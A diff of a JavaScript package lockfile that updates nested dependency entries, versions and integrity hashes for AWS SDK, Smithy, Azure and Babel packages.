- "@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
-
- "@aws-sdk/middleware-websocket/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-tAaObaAnsP1XnLGndfkGWFuzrJYuk9W0b/nLvol66t8FZExIAf/WdkT2NNAWOYxljVs++oHnyHBCxIlaHrzSiw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-aPSJ12d3a3Ea5nyEnLbijCaaYJT2QjQ9iW+zGh5QcZYXmOGWbKVyPSxmVOboZQG+c1M8t6d2O7tqrwzIq8L8qw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.948.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-Qa8Zj+EAqA0VlAVvxpRnpBpIWJI9KUwaioY1vkeNVwXPlNaz9y9zCKVM9iU9OZ5HXpoUg6TnhATAHXHAE8+QsQ=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@smithy/core": "^3.18.7", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-7rpKV8YNgCP2R4F9RjWZFcD2R+SO/0R4VHIbY9iZJdH2MzzJ8ZG7h8dZ2m8QkQd1fjx4wrFJGGPJUTYXPV3baA=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/config-resolver": "^4.4.3", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-wOKhzzWsshXGduxO4pqSiNyL9oUtk4BEvjWm9aaq6Hmfdoydq6v6t0rAGHWPjFwy9z2haovGRi3C8IxdMB4muw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-endpoints": "^3.2.5", "tslib": "^2.6.2" } }, "sha512-0Zx3Ntdpu+z9Wlm7JKUBOzS9EunwKAb4KdGUQQxDqh5Lc3ta5uBoub+FgmVuzwnmBu9U1Os8UuwVTH0Lgu+P5w=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-eZ/XF6NxMtu+iCma58GRNRxSq4lHo6zHQLOZRIeL/ghqYJirqHdenMOwrzPettj60KWlv827RVebP9oNVrwZbw=="],
-
- "@aws-sdk/nested-clients/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.947.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-+vhHoDrdbb+zerV4noQk1DHaUMNzWFWPpPYjVTwW2186k5BEJIecAMChYkghRrBVJ3KPWP1+JnZwOd72F3d4rQ=="],
-
- "@aws-sdk/nested-clients/@smithy/config-resolver": ["@smithy/config-resolver@4.4.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "@smithy/util-config-provider": "^4.2.0", "@smithy/util-endpoints": "^3.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-s3U5ChS21DwU54kMmZ0UJumoS5cg0+rGVZvN6f5Lp6EbAVi0ZyP+qDSHdewfmXKUgNK1j3z45JyzulkDukrjAA=="],
-
- "@aws-sdk/nested-clients/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
-
- "@aws-sdk/nested-clients/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
-
- "@aws-sdk/nested-clients/@smithy/hash-node": ["@smithy/hash-node@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k3Dy9VNR37wfMh2/1RHkFf/e0rMyN0pjY0FdyY6ItJRjENYyVPRMwad6ZR1S9HFm6tTuIOd9pqKBmtJ4VHxvxg=="],
-
- "@aws-sdk/nested-clients/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-E4t/V/q2T46RY21fpfznd1iSLTvCXKNKo4zJ1QuEFN4SE9gKfu2vb6bgq35LpufkQ+SETWIC7ZAf2GGvTlBaMQ=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.6", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-0cjqjyfj+Gls30ntq45SsBtqF3dfJQCeqQPyGz58Pk8OgrAr5YiB7ZvDzjCA94p4r6DCI4qLm7FKobqBjf515w=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.16", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/protocol-http": "^5.3.6", "@smithy/service-error-classification": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-retry": "^4.2.6", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-XPpNhNRzm3vhYm7YCsyw3AtmWggJbg1wNGAoqb7NBYr5XA5isMRv14jgbYyUV6IvbTBFZQdf2QpeW43LrRdStQ=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
-
- "@aws-sdk/nested-clients/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
-
- "@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
- "@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
-
- "@aws-sdk/nested-clients/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
- "@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
-
- "@aws-sdk/nested-clients/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-h53dz/pISVrVrfxV1iqXlx5pRg3V2YWFcSQyPyXZRrZoZj4R4DeWRDo1a7dd3CPTcFi3kE+98tuNyD2axyZReA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.15", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-LiZQVAg/oO8kueX4c+oMls5njaD2cRLXRfcjlTYjhIqmwHnCwkQO5B3dMQH0c5PACILxGAQf6Mxsq7CjlDc76A=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.18", "", { "dependencies": { "@smithy/config-resolver": "^4.4.4", "@smithy/credential-provider-imds": "^4.2.6", "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Kw2J+KzYm9C9Z9nY6+W0tEnoZOofstVCMTshli9jhQbQCy64rueGfKzPfuFBnVUqZD9JobxTh2DzHmPkp/Va/Q=="],
-
- "@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-v60VNM2+mPvgHCBXEfMCYrQ0RepP6u6xvbAkMenfe4Mi872CqNkJzgcnQL837e8NdeDxBgrWQRTluKq5Lqdhfg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.6", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-x7CeDQLPQ9cb6xN7fRJEjlP9NyGW/YeXWc4j/RUhg4I+H60F0PEeRc2c/z3rm9zmsdiMFzpV/rT+4UHW6KM1SA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
-
- "@aws-sdk/token-providers/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
-
- "@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/token-providers/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/token-providers/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@aws-sdk/util-format-url/@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="],
"@aws-sdk/util-format-url/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/util-format-url/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@azure/core-http-compat/@azure/abort-controller": ["@azure/abort-controller@1.1.0", "", { "dependencies": { "tslib": "^2.2.0" } }, "sha512-TrRLIoSQVzfAJX9H1JeFjzAoDGcoK1IYX1UImfceTZpsyYfWr09Ss1aHW1y5TrrR3iq6RZLBwJ3E24uwPhwahw=="],
- "@azure/core-xml/fast-xml-parser": ["fast-xml-parser@5.0.9", "", { "dependencies": { "strnum": "^2.0.5" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-2mBwCiuW3ycKQQ6SOesSB8WeF+fIGb6I/GG5vU5/XEptwFFhp9PE8b9O7fbs2dpq9fXn4ULR3UsfydNUCntf5A=="],
+ "@azure/storage-blob/@azure/core-http-compat": ["@azure/core-http-compat@2.3.2", "", { "dependencies": { "@azure/abort-controller": "^2.1.2" }, "peerDependencies": { "@azure/core-client": "^1.10.0", "@azure/core-rest-pipeline": "^1.22.0" } }, "sha512-Tf6ltdKzOJEgxZeWLCjMxrxbodB/ZeCbzzA1A2qHbhzAjzjHoBVSUeSl/baT/oHAxhc4qdqVaDKnc2+iE932gw=="],
+
+ "@azure/storage-blob/@azure/core-paging": ["@azure/core-paging@1.6.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YKWi9YuCU04B55h25cnOYZHxXYtEvQEbKST5vqRga7hWY9ydd3FZHdeQF8pyh+acWZvppw13M/LMGx0LABUVMA=="],
+
+ "@azure/storage-blob/@azure/logger": ["@azure/logger@1.3.0", "", { "dependencies": { "@typespec/ts-http-runtime": "^0.3.0", "tslib": "^2.6.2" } }, "sha512-fCqPIfOcLE+CGqGPd66c8bZpwAji98tZ4JI9i/mlTNTlsIWslCfpg48s/ypyLxZTump5sypjrKn2/kY7q8oAbA=="],
+
+ "@azure/storage-common/@azure/core-http-compat": ["@azure/core-http-compat@2.3.2", "", { "dependencies": { "@azure/abort-controller": "^2.1.2" }, "peerDependencies": { "@azure/core-client": "^1.10.0", "@azure/core-rest-pipeline": "^1.22.0" } }, "sha512-Tf6ltdKzOJEgxZeWLCjMxrxbodB/ZeCbzzA1A2qHbhzAjzjHoBVSUeSl/baT/oHAxhc4qdqVaDKnc2+iE932gw=="],
+
+ "@azure/storage-common/@azure/logger": ["@azure/logger@1.3.0", "", { "dependencies": { "@typespec/ts-http-runtime": "^0.3.0", "tslib": "^2.6.2" } }, "sha512-fCqPIfOcLE+CGqGPd66c8bZpwAji98tZ4JI9i/mlTNTlsIWslCfpg48s/ypyLxZTump5sypjrKn2/kY7q8oAbA=="],
+
+ "@babel/core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
@@ -5331,11 +5481,17 @@
"@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
- "@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+ "@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g=="],
- "@babel/plugin-transform-classes/globals": ["globals@11.12.0", "", {}, "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="],
+ "@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
- "@babel/plugin-transform-explicit-resource-management/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.8", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.5.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OtIuQfafSzpo/LhnJaykc0R/MMnuLSSVjVYy9mHArIZ9qTCSZ6TpWCuEKZYVoN//t8HqBNScHrOtCrIK5IaGLg=="],
@@ -5343,18 +5499,38 @@
"@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.5.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
